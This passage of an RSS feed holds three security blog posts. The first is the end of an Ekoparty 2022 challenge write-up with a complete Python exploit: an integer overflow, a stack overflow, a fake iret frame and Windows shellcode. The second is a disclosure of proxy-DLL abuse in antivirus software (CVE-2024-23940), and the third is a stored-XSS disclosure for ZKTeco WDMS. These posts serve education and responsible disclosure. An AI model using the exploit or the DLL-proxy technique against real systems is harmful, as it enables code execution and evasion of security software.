</strong>and must be less than 0x0F00 than in decimal is 3840</p><p>Here we can see that there is a comparison with sign, which allows us to exploit the vulnerability of Integer Overflow by sending a negative value that will soon be interpreted as positive.</p><p>So if in the value <strong>size </strong>from the headboard we ship 0xFFFF this will be transformed to 0x0000FFFF which is negative and less than 0x0F00 achieving the comparison evasion.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/0*773w693dwODU6BdY.png" /></figure><p>When escape is achieved, we go in call another <strong>recv() </strong>But with a size we control, in this case it would be the negative value word 0x0000<strong>FFFF </strong>and the bytes will be copied to a buffer located in the heap.</p><p>Follow a call to the function renamed as <strong>copy_data_heap_to_stack() </strong>with the arguments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CW4dFt5L-ISVNsng9AHZeQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/0*AFYmJp2FbKsQslcg.png" /></figure><p>Inside <strong>copy_data_heap_to_stack() </strong>we have a routine that makes a byte copy from the heap buffer to the stack buffer, using a for-slinging cycle as a size the 0xFFFF, causing a stack buffer overflow. Now the important thing is to be able to control records or variables of stack that allow us to continue with the execution, for that it is necessary to send bytes of controlled size in order to modify the value of the type and be able to reach <strong>winExec()</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/0*MQOBAKWDn1kBVoAZ.png" /></figure><p>Before calling <strong>winExec()</strong>, there is a displacement within the buffer, and those bytes are moved to the ‘<strong>rax</strong>’ register, which overwrites the address of <strong>winExec()</strong>. Therefore, the function cannot be used to execute code. Finally, the call is made.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/0*TpgsQy5GdnxNfRvQ.png" /></figure><p>If you recall, in the <strong>memset()</strong> function, the buffer’s bytes are modified with 5050505050 and CF58585858. Now, with the offset within the buffer plus 7 bytes, we position ourselves right at the 5050505050. So, when the call to <strong>winExec()</strong> is made, it reaches the 5050505050, which transforms into ‘<strong>pop rax</strong>’, allowing us to pop the stack and take control of the return, which would be our A’s with <strong>iret</strong>.</p><p>For this we’ll see the ‘<strong>pop rax</strong>’<strong> </strong>and we validate with the stack information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/0*Jo6I5BA9R1PpCCQc.png" /></figure><p>Now we are almost at the end of the challenge, but to achieve it, we need to solve the <strong>iret</strong> problem because, in addition to the return address (EIP/RIP) located on the stack, it also requires other arguments.</p><p>The iret instruction is usually called from kernel code before returning to a user-space process.</p><p>References on iret and Intel segmentation:</p><ul><li><a href="https://www.inventati.org/nophear/download_tesi.pdf">https://www.inventati.org/nophear/download_tesi.pdf</a></li><li><a href="http://jamesmolloy.co.uk/tutorial_html/10.-User">http://jamesmolloy.co.uk/tutorial_html/10.-User</a> Mode.html</li><li><a href="https://nixhacker.com/segmentation-in-intel-64-bit">https://nixhacker.com/segmentation-in-intel-64-bit</a></li><li><a href="https://www.malwaretech.com/2014/02/the-0x33-segment-selector-heavens-gate.html">https://www.malwaretech.com/2014/02/the-0x33-segment-selector-heavens-gate.html</a></li></ul><p>For now, what we need to achieve is creating a <strong>Fake iret Frame</strong> on the stack, and it must contain the following parameters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZkVSapDcWBec961vdYaPlA.png" /></figure><ul><li>EIP is the address of the start of the buffer located in the heap at 0x10000000 where we have our data. However, we will give it an offset to avoid any issues, leaving it at 0x10000014.</li><li>CS indexes the Global Descriptor Table (GDT) with its code/data descriptor in the kernel (ring 0) and user (ring 3).</li><li>EFLAGS can be obtained using windbg or x64dbg in the afl register.</li><li>ESP is an address in the middle of the buffer located in the heap, but it must be below the shellcode and should not be the end, such as 0x10000600.</li><li>SS indexes the Global Descriptor Table (GDT) with its code/data descriptor in the kernel (ring 0) and user (ring 3).</li></ul><p>An easy way to obtain the value of <strong>EFLAGS</strong> is through the <strong>efl</strong> register, which can be visualized with the windbg or IDA debugger.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/0*PQLhpLoysGujjPEA.png" /></figure><p>Now let’s calculate the values of <strong>CS</strong> and <strong>SS</strong>, as they are the most difficult to obtain.</p><p>When the GDT is configured, 5 selectors are set up. The indices between Kernel and user have a size of 16 bytes, and between code and data for each mode, it is 8 bytes. So, the selector indices are:</p><p>- <strong>0x00</strong>: Null Descriptor<br>- <strong>0x10</strong>: Kernel Code Segment (Kernel Mode — ring 0)<br>- <strong>0x18</strong>: Kernel Data Segment (Kernel Mode — ring 0)<br>- <strong>0x20</strong>: User Code Segment (User Mode — ring 3)<br>- <strong>0x28</strong>: User Data Segment (User Mode — ring 3)</p><p>So, if we want to switch to user mode (ring 3), we need to configure the RPL (Requested Privilege Level) or CPL (Current Privilege Level), which in this case is 3. Therefore, our “User Code Segment” selector will be [<strong>0x20+0x3=0x23</strong>], and the “User Data Segment” selector will be [<strong>0x28+0x03=0x2b</strong>].</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/0*dP5wgdA45AvfxIh-.png" /></figure><p>Now the big problem we have with the “User Data Segment” calculation is that the <strong>0x2b </strong>is modified by a 0x00 when entering the function <strong>copy_data_heap_to_stack() </strong>and it won’t be stored in the Stack, so we should use another value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/0*1Yg32Kml9YYzvcRT.png" /></figure><p>To solve this problem, a value belonging to data must be identified with reading and writing permissions (<strong>Data RW</strong>) so using the command in windbg <strong>dg 0x53 </strong>we can see the information.</p><p>With everything armed we can already execute and observe how the structure of parameters to iret in the stack remains.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/0*Wh0tQpl8EmvOM3jm.png" /></figure><p>Segments values before the iret jump with <strong>CS 0x33</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/122/0*z-audjHHz6ekp9g9.png" /></figure><p>Segments values after the iret jump with <strong>CS 0x23</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/113/0*MZvh3LyWfVXRIpxK.png" /></figure><p>Finally, before executing the shellcode, we just need to restore the CS register to 0x33 to return to the 64-bit architecture because executing iret leaves us in 32-bit mode. Also, restore the Stack, fortunately, RCX points there.</p><p>We can observe, prior to the iret execution, how everything remains in 64-bit mode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*STO5B1uunAMN0tSR.png" /></figure><p>Now, after executing iret, everything changes to 32 bits, including the registers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LiXsonUvikqTtWNp.png" /></figure><p>For this, we just need to add a few bytes at the beginning of the shellcode so that when the jump is made, it can restore to the old values and execute the 64-bit shellcode without issues.</p><p>By using a far jump like ‘<strong>jmp 0x33:0x1000001C</strong>’, the “User Code Segment” will be specified with the value 0x33, returning to 64 bits (More information here). Finally, the following opcodes <strong>‘\x48\x89\xCC</strong>’<strong> </strong>represent a ‘<strong>MOV RSP, RCX</strong>’ to restore the Stack. (Calculate opcodes online)</p><h4>Exploit</h4><pre>#!/usr/bin/python<br># Code By s1kr10s<br>import socket<br>import struct<br>from sys import exit<br><br>&#39;&#39;&#39;<br>Se explota un Integer Overflow, que permite evadir la condicion de &quot;cmp eax, 0F00h&quot; y <br>asi mismo modificar el size para el recv(), permitiendole recibir mas bytes.<br>            <br>Con el size manipulado se explota un Stack Buffer Overflow, donde se envian 3840 bytes seguido de una caracter &quot;X&quot;<br>para evadir la comparacion de &quot;type&quot; y 7 nop que son utilizados como desplazamiento<br>para llegar a las X&#39;s que fueron modificadas en el buffer por la funcion packet_filter(). <br><br>Luego con el overflow se explota un Type Confusion, donde nos permite controlar el flujo <br>corractamente, para llegar a ejecutar la llamada a WinExec(), pero ahora apuntando a las X&#39;s que<br>son interpretadas como &quot;pop rax&quot; en memoria, las que ayudan a controlar el retorno de iret.<br>&#39;&#39;&#39;<br>            <br>def banner():<br>    ban = &#39;&#39;&#39;<br>██████╗░███████╗░██████╗░░░░░░███████╗██╗░░██╗░█████╗░██████╗░░█████╗░██████╗░██████╗░<br>██╔══██╗██╔════╝██╔════╝░░░░░░██╔════╝██║░██╔╝██╔══██╗╚════██╗██╔══██╗╚════██╗╚════██╗<br>██████╦╝█████╗░░╚█████╗░█████╗█████╗░░█████═╝░██║░░██║░░███╔═╝██║░░██║░░███╔═╝░░███╔═╝<br>██╔══██╗██╔══╝░░░╚═══██╗╚════╝██╔══╝░░██╔═██╗░██║░░██║██╔══╝░░██║░░██║██╔══╝░░██╔══╝░░<br>██████╦╝██║░░░░░██████╔╝░░░░░░███████╗██║░╚██╗╚█████╔╝███████╗╚█████╔╝███████╗███████╗<br>╚═════╝░╚═╝░░░░░╚═════╝░░░░░░░╚══════╝╚═╝░░╚═╝░╚════╝░╚══════╝░╚════╝░╚══════╝╚══════╝<br>    &#39;&#39;&#39;<br>    print(ban)<br><br>def shellcode():<br>    # msfvenom -a x64 --platform Windows -p windows/x64/exec cmd=&quot;calc&quot; -f python -v shellcode<br>    shellcode = b&quot;&quot;<br>    shellcode += b&quot;\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41&quot;<br>    shellcode += b&quot;\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48&quot;<br>    shellcode += b&quot;\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20&quot;<br>    shellcode += b&quot;\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31&quot;<br>    shellcode += b&quot;\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20&quot;<br>    shellcode += b&quot;\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41&quot;<br>    shellcode += b&quot;\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0&quot;<br>    shellcode += b&quot;\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67&quot;<br>    shellcode += b&quot;\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20&quot;<br>    shellcode += b&quot;\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34&quot;<br>    shellcode += b&quot;\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac&quot;<br>    shellcode += b&quot;\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1&quot;<br>    shellcode += b&quot;\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58&quot;<br>    shellcode += b&quot;\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c&quot;<br>    shellcode += b&quot;\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04&quot;<br>    shellcode += b&quot;\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a&quot;<br>    shellcode += b&quot;\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41&quot;<br>    shellcode += b&quot;\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9&quot;<br>    shellcode += b&quot;\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00&quot;<br>    shellcode += b&quot;\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00&quot;<br>    shellcode += b&quot;\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5&quot;<br>    shellcode += b&quot;\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48&quot;<br>    shellcode += b&quot;\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75&quot;<br>    shellcode += b&quot;\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89&quot;<br>    shellcode += b&quot;\xda\xff\xd5\x63\x61\x6c\x63\x00&quot;<br>    return shellcode<br><br>def connection(host, port):<br>    try:<br>        print(&#39;[+] Start Connection {0}:{1}&#39;.format(host, port))<br>        con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>        con.connect((host, port))<br>        return con<br>    except:<br>        print(&#39;No connection&#39;)<br>        exit()<br><br>def main():<br>    banner()<br>    <br>    restoreCS  = b&quot;\xea\x1c\x00\x00\x10\x33\x00&quot;  # Restaura el valor de CS a 0x33 JMP 0x33:0x1000001c<br>    restoreRSP = b&quot;\x48\x89\xCC&quot;                  # Restaura el viejo stack pointer con un &quot;mov rsp, rcx&quot;<br><br>    try:<br>        p32 = lambda x: struct.pack(&#39;&lt;I&#39;, x);<br>        s = connection(&#39;127.0.0.1&#39;, 31415)<br>        <br>        print(&quot;[+] Sending Handshake (Hello)&quot;)<br>        handshake = b&quot;Hello\x00&quot; # handshake Hello<br>        s.send(handshake)<br>        hi = s.recv(3)<br>    <br>        if len(hi) == 3:<br><br>            print(&quot;   [-] Response of handshake is: %s&quot; % hi)<br>            cookie = b&quot;Eko2022\x00&quot;     # cookie value<br>            packet_type = b&quot;\x54&quot;       # packet type value<br>            packet_size = b&quot;\xff\xff&quot;   # int overflow - packet size value<br>            header = cookie+packet_type+packet_size<br>            print(&quot;   [-] Header Length %d&quot; % len(header))<br><br>            size  = 3840                                # size 0x0f00<br>            data  = p32(0x10000014)                     # return iret (EIP)<br>            data += p32(0x23)                           # user code segment (CS)<br>            data += p32(0x246)                          # valid EFLAGS save register<br>            data += p32(0x10000500)                     # user stack pointer(ESP)<br>            data += p32(0x53)                           # user stack segment (SS)<br>            data += restoreCS                           # restaura el valor de CS a 0x33<br>            data += restoreRSP                          # restaura el viejo stack pointer &quot;mov rsp, rcx&quot;<br>            data += shellcode()                         # shellcode<br>            data += b&quot;\x90&quot; * (size - len(data))        # junk bytes<br>            data += b&quot;\x58&quot;                             # type - cmp eax, 58h ; &#39;X&#39;<br>            data += b&quot;\x90&quot; * 7                         # desplazamiento a los XXXXXXX del buffer convertidos a pop rax<br>            print(&quot;   [-] Data Length %d&quot; % len(data))<br><br>            print(&quot;[+] Sending Payload&quot;)<br>            payload = header + data<br>            s.send(payload)<br>            <br>        else:<br>            exit()<br>        <br>    except Exception as e:<br>        print(e)<br><br>if __name__ == &quot;__main__&quot;: <br>    main()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*L_NyOeGX5I5vJYEJ.png" /></figure><p>Bye!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7deffce64ee4" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/bfs-ekoparty-2022-exploitation-challenges-7deffce64ee4">BFS Ekoparty 2022 Exploitation Challenges</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AV — When a Friend Becomes an Enemy]]></title>
            <link>https://medium.com/@s1kr10s/av-when-a-friend-becomes-an-enemy-55f41aba42b1?source=rss-691af447be50------2</link>
            <guid isPermaLink="false">https://medium.com/p/55f41aba42b1</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[antivirus]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[research]]></category>
            <dc:creator><![CDATA[Miguel Angel Méndez Z.]]></dc:creator>
            <pubDate>Thu, 25 Jan 2024 21:04:11 GMT</pubDate>
            <atom:updated>2024-02-04T18:08:27.679Z</atom:updated>
            <content:encoded><![CDATA[<h3>AV — When a Friend Becomes an Enemy — (CVE-2024–23940)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0w2xSAYOnfBM8Z2LE6p22A.png" /></figure><h3>Researchers</h3><ul><li>Renato Garreton — @dplastico</li><li>Miguel Méndez — @s1kr10s</li></ul><h3>Introduction</h3><p>For a long time, I wanted to work with my friend Renato and do some research together; we recently had the opportunity, so when we got around and planned what to do, we shared our experience analyzing malware.</p><p>From this experience working with malware, we both agree that one of the most common methods malware uses to avoid being detected is to execute code using legit applications. Signed binaries with elevated privileges are the best target for threat actors since this can not only help them to evade being detected but also, sometimes, elevate privileges or even kill AV solutions (as this famous rensomware <a href="https://www.trendmicro.com/en_vn/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html#:~:text=Ransomware-,Ransomware%20Actor%20Abuses%20Genshin%20Impact%20Anti%2DCheat%20Driver%20to%20Kill,services%20for%20mass%2Ddeploying%20ransomware."><strong>Genshin Impact</strong></a>.) to execute their attack.</p><p>While working with a malware sample (We’ll reveal details soon in another post since is going under Law investigation at this point), we observed that the malware used a simple technique to escalate privileges and evade detection by abusing a vulnerability in the anti-virus solution installed on the machine. We decided to replicate the attack and test it in the wild. We aimed to thoroughly analyze the impact of using legitimate software and, even more significantly, when such software comes from security companies or, in other words, Anti Virus vendors.</p><p>Although the information we will present in the following sections may seem familiar, the significant impact lies in using legitimate software and the clever implementation of what is called a “friend protector.” (AV solutions).</p><h3>Examining Antivirus in the Market</h3><p>Our strategy focused on analyzing the antivirus programs available at that time, considering that several of them require a purchase for use without offering a trial period. It is important to note that the vulnerability we explored is not exclusive to paid antivirus programs.</p><p>Below are some of the free anti-virus programs we managed to obtain and we were able to analyze. We found vulnerabilities in all of them. Here’s the status of the Reports As of today:</p><ul><li>BitDefender — Reported</li><li>Avira — Reported</li><li>TotalAV — Reported</li><li>Forticlient (Fortinet) Reported (rejected)</li><li>ZoneAlarm (Check Point) — Patch under development, CVE Requested.</li><li>TrendMicro — CVE-2024–23940 — Patched in version 6.0.0.2103 (We were able to verified the patch)</li></ul><h3>Why Proxy DLL and not DLL Hijack?</h3><p>Often, DLL Hijacking is resorted to in these situations, but as the name Proxy DLL suggests, it is considerably more effective to incorporate functionalities into a DLL without the need to modify its source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*Z0TwPxB814HH5Myou2sEcA.png" /><figcaption><a href="https://www.cobaltstrike.com/app/uploads/2023/01/proxy.def_.diagram-1024x710-1.png">https://www.cobaltstrike.com/app/uploads/2023/01/proxy.def_.diagram-1024x710-1.png</a></figcaption></figure><h3>Antivirus Analysis</h3><p>In order to avoid redundancies, we will focus on providing a detailed analysis specifically for BitDefender. However, it’s important to note that the methodology used can be applied similarly to other antivirus programs. Although, in some cases, it may require specific adjustments at the DLL development level, in essence, the approach will be very similar.</p><p>We initiate the first analysis using the Pestudio tool, which provides crucial information about the updcenter.exe binary. This includes detections through VirusTotal, with a current result of 0/71. Additionally, we have identified the exported functions of the binary and reviewed the description that confirms it belongs to the legitimate owner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*iGpKgGY5YN7E2qXUYx0ZjA.png" /><figcaption>vulnerable binary</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*ICkrPlCi82fXU-2Y3J8QGg.png" /><figcaption>information with pstudio</figcaption></figure><p>The following image shows the functions exported by the binary, although these only represent the ones currently being called by the binary. To obtain the complete list of functions, we used DLL Export Viewer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZhEkWg84ZpWzVgyJx__OIQ.png" /><figcaption>functions exported by the binary</figcaption></figure><p>The procedure is extremely simple; it is only necessary to load the DLL, and the tool will comprehensively present all the functions available in the DLL. These functions will be essential for importing into the code of the DLL in our analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*mc5p7n7POjK3D0kkEUzZvg.png" /><figcaption>extracting functions with DLL Export Viewer</figcaption></figure><p>Each extracted function must adhere to a specific format to facilitate its linking from the DLL code.</p><p>Structure of a function exported by DLL Export Viewer:</p><pre>bool __cdecl TinyXPath::o_xpath_attribute(class TiXmlNode const * __ptr64,wchar_t const * __ptr64,class TiXmlAttribute const * __ptr64 &amp; __ptr64)</pre><p>Formatted function structure for DLL code (Visual Studio Code):</p><pre>#pragma comment(linker,”/export:bool __cdecl TinyXPath::o_xpath_attribute(class TiXmlNode const * __ptr64,wchar_t const * __ptr64,class TiXmlAttribute const * __ptr64 &amp;amp; __ptr64)=txmlutil_orig.bool __cdecl TinyXPath::o_xpath_attribute(class TiXmlNode const * __ptr64,wchar_t const * __ptr64,class TiXmlAttribute const * __ptr64 &amp;amp; __ptr64),@536&quot;)</pre><p>Assuming we have completed the previous step, formatting all the functions to integrate them into the code, now all that remains is to compile the DLL. Before doing so, let’s follow the following steps in Visual Studio Code:</p><ol><li>Open Visual Studio and create a new project:</li></ol><ul><li>Select “File” -&gt; “New” -&gt; “Project…”</li><li>Choose “Visual C++” -&gt; “Dynamic Link Library (DLL)”</li></ul><p>2. Assign a name to the project, for example, the original name of the DLL.</p><p>3. Add your code to the DLL Wrapper file (dll_example.cpp) and copy it to the dllmain.cpp of the project.</p><p>4. In the project, go to “Properties” -&gt; “General” -&gt; “Configuration Type” and select “Dynamic Library (.dll)”.</p><p>5. In “C/C++” -&gt; “Code Generation” -&gt; “Runtime Library”, select “Multithread (/MT)”.</p><p>6. In “C/C++” -&gt; “Precompiled Headers”, set “Set Precompiled Header” to “Not Using Precompiled Headers”.</p><p>7. Ensure that the architecture matches the target executable in “Active configuration”.</p><p>Once these steps are completed, we proceed to compile and obtain the following file structure for execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*ibfsTRFdoYBpF5MKd6kdpA.png" /><figcaption>flow dll proxy</figcaption></figure><ul><li>Point (1): The binary is executed and loads the proxy (txmlutil.dll) to make function calls.</li><li>Point (2): The proxy DLL intercepts calls to functions of the original DLL and can perform additional actions before or after passing the call to the original DLL.</li><li>Point (3): The proxy DLL contains the function that executes the payload.bat file.</li></ul><h3>Proof of Concept</h3><p>The video below showcases the outcome of the vulnerability, using the susceptible binary to simulate a malware infection.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FNWXvDGYGC9o%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DNWXvDGYGC9o&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FNWXvDGYGC9o%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/e7e784220158873f4973b81b21c66e10/href">https://medium.com/media/e7e784220158873f4973b81b21c66e10/href</a></iframe><h3>Conclusion and Impact</h3><h4>Conclusion</h4><p>In conclusion, the discovery of vulnerabilities in legitimate antivirus binaries through exhaustive research reveals a significant impact for both users and businesses.</p><h4>Impact</h4><p>This attack approach, despite its apparent simplicity, is significant in undermining trust in antivirus systems. The use of compromised binaries not only exposes the integrity of individual systems but also poses a considerable threat to corporate cybersecurity. Trusted users face unexpected risks, while companies must strengthen the security of their products to maintain user trust and ensure effective defense against increasingly sophisticated threats.</p><p>We want to mention and highlight the fast response and ability to patch quickly of some vendors (Check Point, TrendMicro, for example). The commitment to make security products safe is a task for all of us. it is worth highlighting and thanking TrendMicro, which assigned us <a href="https://www.cve.org/CVERecord?id=CVE-2023-51157">CVE-2024–23940</a>.</p><h3>TrendMicro Timeline</h3><ul><li>2023–11–15 Vulnerability identified</li><li>2023–11–16 Customer approved disclosure to vendor</li><li>2023–12–01 Vendor notified</li><li>2023–12–12 Vendor provides fixed AirSupport v6.0.2103</li><li>2024–01–24 <a href="https://www.cve.org/CVERecord?id=CVE-2023-51157">CVE-2024–23940</a> assigned</li><li>2024–01–25 Advisory published</li></ul><h3>References</h3><ul><li><a href="https://helpcenter.trendmicro.com/en-us/article/tmka-12134">https://helpcenter.trendmicro.com/en-us/article/tmka-12134</a></li><li><a href="https://helpcenter.trendmicro.com/ja-jp/article/tmka-12132">https://helpcenter.trendmicro.com/ja-jp/article/tmka-12132</a></li></ul><p>Thanks!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55f41aba42b1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XSS Store in ZKTeco — Welcome to WDMS]]></title>
            <link>https://infosecwriteups.com/xss-store-in-zkteco-welcome-to-wdms-3d5c8e1113f0?source=rss-691af447be50------2</link>
            <guid isPermaLink="false">https://medium.com/p/3d5c8e1113f0</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[cross-site-scripting]]></category>
            <dc:creator><![CDATA[Miguel Angel Méndez Z.]]></dc:creator>
            <pubDate>Mon, 22 Jan 2024 15:36:18 GMT</pubDate>
            <atom:updated>2024-10-02T13:20:56.644Z</atom:updated>
            <content:encoded><![CDATA[<h3>ZKTeco WDMS 5.1.3 — Persistent XSS (CVE-2023–51157)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*k4HQCTrmnNcmPuJg" /><figcaption><a href="https://www.zkteco.com/en/">https://www.zkteco.com</a></figcaption></figure><h3>Context</h3><p>Hello everyone! On this occasion, I would like to share how I discovered a vulnerability in a ZKTeco WDMS system. It all started when I had to review third-party systems, as in this case, where the opportunities to exploit these circumstances are crucial, especially when economic constraints prevent the acquisition of these platforms.</p><h3>Whats ZKTeco WDMS?</h3><p>WDMS<strong> </strong>is Web-based Data Master System, an advanced middleware.<br> As a middleware, WDMS<strong> </strong>allows you to deploy on servers and databases for devices and transactions management. Administrators can access WDMS<strong> </strong>anywhere by the browser or a third-party software by API to handle thousands of devices.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/0*Gg7WOJSjFHHCENY5.png" /></figure><h3><strong>Technical Details:</strong></h3><ul><li><strong>Vendor:</strong> ZKTeco</li><li><strong>Vendor Website:</strong> <a href="https://www.zkteco.com/">https://www.zkteco.com</a></li><li><strong>Affected Version:</strong> ZKTeco WDMS 5.1.3</li><li><strong>Vulnerable Endpoint:</strong> /iclock/data/employee</li></ul><h3>Review Vulnerability</h3><p>The first thing we encounter is a typical user access. We will skip this process as it is not relevant to this publication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*xV_fihJ0etKIcfYcHtnghg.png" /><figcaption>login panel</figcaption></figure><p>After logging into the application, a panel is displayed that features a menu, allowing us to view, modify, and delete specific information. This menu serves as a key interface that enables efficient data management. From here, various functions are accessible, facilitating interaction and administration of the information contained in the platform.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dKm57nOW5gpbeu0DrmU9QA.png" /><figcaption>application</figcaption></figure><p>Now, we proceed to attempt to modify employee information in the “Emp Name” (EName) field. Initially, we tested with a small payload; however, the results were not satisfactory. This is because the form is validated on the frontend, and the payload must adhere to a maximum of 40 characters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xgd7bujFF2dhv7sydM7i5A.png" /><figcaption>form</figcaption></figure><p>The results when trying to inject payloads into the form are as follows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lqXzQpLB0MJ-ZEhjM4KCRA.png" /><figcaption>error input</figcaption></figure><p>Now, the vulnerability in this form lies in the fact that the information is only validated on the frontend, as mentioned earlier. However, this validation is not performed on the backend, allowing the possibility to intercept the request and modify the information before it is sent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*osANmEbMxVOkpwpa-CytVQ.png" /></figure><p>After sending the payload, we can observe how it is stored, ready to be executed and reflected in the user’s view.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_t1agyHNiBivFaXtk--Uzg.png" /><figcaption>payload inject</figcaption></figure><h3>Conclusion</h3><p>In summary, when attempting to modify employee data, a vulnerability in validation is revealed, which occurs exclusively on the frontend. This allows for the interception and modification of information before it is sent to the backend. The conclusion underscores the importance of implementing more robust validation measures both on the frontend and the backend to prevent potential security breaches.</p><h3>Timeline</h3><ul><li>2023–12–14 Vulnerability identified</li><li>2023–12–18 Customer approved disclosure to vendor</li><li>2024–01–09 <a href="https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2023-51157">CVE-2023–51157</a> Assigned</li><li>2024–01–?? Vendor notified 🦗🦗🦗</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3d5c8e1113f0" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/xss-store-in-zkteco-welcome-to-wdms-3d5c8e1113f0">XSS Store in ZKTeco — Welcome to WDMS</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>